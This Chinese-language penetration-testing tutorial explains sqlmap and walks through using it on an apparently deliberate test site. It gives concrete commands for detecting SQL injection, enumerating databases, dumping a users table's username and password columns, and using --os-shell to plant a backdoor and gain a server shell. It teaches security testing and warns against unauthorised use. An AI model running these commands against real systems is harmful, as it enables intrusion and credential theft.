今天我們來介紹滲透測試中專門用於「定點爆破」、對資料庫進行深度打擊的自動化神器——sqlmap。
如果說 Nmap 是偵察兵,Metasploit 是軍火庫,那麼 sqlmap 就是一位技藝高超、專門針對資料庫金庫的自動化開鎖專家 (Automated Safecracker)。當你發現一個網站可能存在 SQL Injection (SQLi) 漏洞時,sqlmap 就是你用來驗證、利用並從中榨取所有價值的不二之選。
sqlmap 是一款開源、免費、跨平台的命令列工具,它將偵測和利用 SQL Injection 漏洞的整個過程完全自動化。
手動進行 SQL Injection 測試是一個極其繁瑣且耗時的過程,測試人員需要手動建構各種 SQL 語句,根據伺服器極其細微的回應差異(頁面內容、回應時間、HTTP 狀態碼等)來推斷資料庫的結構和內容。
sqlmap 將這個複雜的過程變成了一系列的自動化指令。你只需要提供一個可能存在漏洞的目標 URL,sqlmap 就會:
sqlmap 的能力遠不止於確認漏洞,它的目標是完全控制後端資料庫伺服器。
sqlmap 支援市面上幾乎所有主流的資料庫系統,包括:
它能自動化地嘗試多種 SQLi 技術,以應對不同的伺服器環境和防護措施:
UNION
語句將查詢結果附加到正常的回應中,直接獲取資料。一旦確認漏洞存在,sqlmap 就如同一個資料庫瀏覽器,可以讓你:
username
, password
)。在特定條件下(例如資料庫使用者權限夠高、資料庫支援特定功能),sqlmap 的能力可以從資料庫層面延伸到作業系統層面:
--os-shell
):這是 sqlmap 最令人畏懼的功能之一。如果條件允許,它可以直接在目標伺服器上提供一個互動式的命令列介面 (OS Shell),達成 RCE (遠端程式碼執行) 的效果,完全控制伺服器。假設我們發現一個 URL http://testphp.vulnweb.com/listproducts.php?cat=1
,我們懷疑 cat
參數可能存在 SQLi 漏洞。
第一步:基礎檢測
這是最簡單的指令,讓 sqlmap 去自動探測。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1"
sqlmap 會詢問你一系列問題,例如是否要測試其他參數、測試等級等。對於初學者,可以直接按 Enter 使用預設值。
第二步:列舉所有資料庫
一旦 sqlmap 確認漏洞存在,你就可以開始列舉資料庫。
sqlmap -u "http://..." --dbs
輸出可能像這樣:[+] available databases [2]:
[*] information_schema
[*] acuart
第三-四步:列舉資料表與欄位
假設我們對 acuart
資料庫感興趣。
# 列出 acuart 資料庫中的所有資料表
sqlmap -u "http://..." -D acuart --tables
# 假設找到了 users 資料表,列出其中的所有欄位
sqlmap -u "http://..." -D acuart -T users --columns
第五步:傾印資料
現在我們知道了資料庫、資料表和欄位,可以把管理員的帳號密碼倒出來。
# 傾印 users 資料表中 uname 和 pass 兩個欄位的內容
sqlmap -u "http://..." -D acuart -T users -C "uname,pass" --dump
第六步 (進階):嘗試取得 OS Shell
如果資料庫權限夠高,你可以嘗試直接拿下伺服器。
sqlmap -u "http://..." --os-shell
sqlmap 會引導你完成上傳一個小型的後門程式,然後提供一個互動式的 shell 介面。
在真實的滲透測試中,很多請求是複雜的 POST 請求或包含 Cookie 認證。手動在命令列中建構這些請求非常麻煩。專業的工作流程是:
request.txt
)。sqlmap -r request.txt -p parameter_to_test
-r
參數讓 sqlmap 可以處理任何複雜的請求,-p
則用來指定要測試的參數。與 Nmap 一樣,sqlmap 是一個強大的攻擊工具。絕對禁止在未獲授權的系統上使用它。自動化的 SQLi 掃描會對資料庫造成極大的壓力,甚至可能損壞資料,因此必須在嚴格授權和監控下進行。
sqlmap 是 SQL Injection 漏洞的「終極殺器」。它將原本需要資深專家花費數小時甚至數天才能完成的手動注入過程,縮短為幾分鐘的自動化指令。它不僅是滲透測試人員的效率倍增器,也是所有開發人員和資料庫管理員都應該了解並敬畏的工具,因為它清晰地展示了 SQL Injection 漏洞一旦存在,可能造成的毀滅性後果。